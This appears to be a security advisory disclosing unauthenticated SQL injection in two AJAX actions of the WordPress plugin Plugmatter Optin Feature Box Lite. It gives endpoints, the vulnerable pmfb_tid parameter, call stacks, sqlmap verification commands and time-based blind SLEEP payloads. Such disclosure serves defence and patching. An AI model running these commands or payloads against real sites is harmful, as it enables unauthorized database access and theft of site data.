Unauthenticated attackers can execute arbitrary SQL commands.

1. SQL injection (Plugmatter_FeatureBox::pmfb_cc())

Method: POST

Url: http://localhost/wp-admin/admin-ajax.php?action=pmfb_cc

Vulnerable parameter: pmfb_tid

Example PHP callstack:

  Plugmatter_FeatureBox::pmfb_cc   [/plugmatter-optin-feature-box-lite/class.plugmatter-featurebox.php:328]

  wpdb::get_row

Verification:

sqlmap --dbms mysql --data "pmfb_tid=1" -u "http://localhost/wp-admin/admin-ajax.php?action=pmfb_cc"

...

Parameter: pmfb_tid (POST)

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

    Payload: pmfb_tid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))jvLs)

...

2. SQL injection (Plugmatter_FeatureBox::pmfb_mailchimp())

Method: POST

Url: http://localhost/wp-admin/admin-ajax.php?action=pmfb_mailchimp

Vulnerable parameter: pmfb_tid

Example PHP callstack:

  Plugmatter_FeatureBox::pmfb_mailchimp   [/plugmatter-optin-feature-box-lite/class.plugmatter-featurebox.php:389]

  wpdb::get_row

Verification:

sqlmap --dbms mysql --data "pmfb_tid=1" -u "http://localhost/wp-admin/admin-ajax.php?action=pmfb_mailchimp"

...

Parameter: pmfb_tid (POST)

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

    Payload: pmfb_tid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))gQfj)

...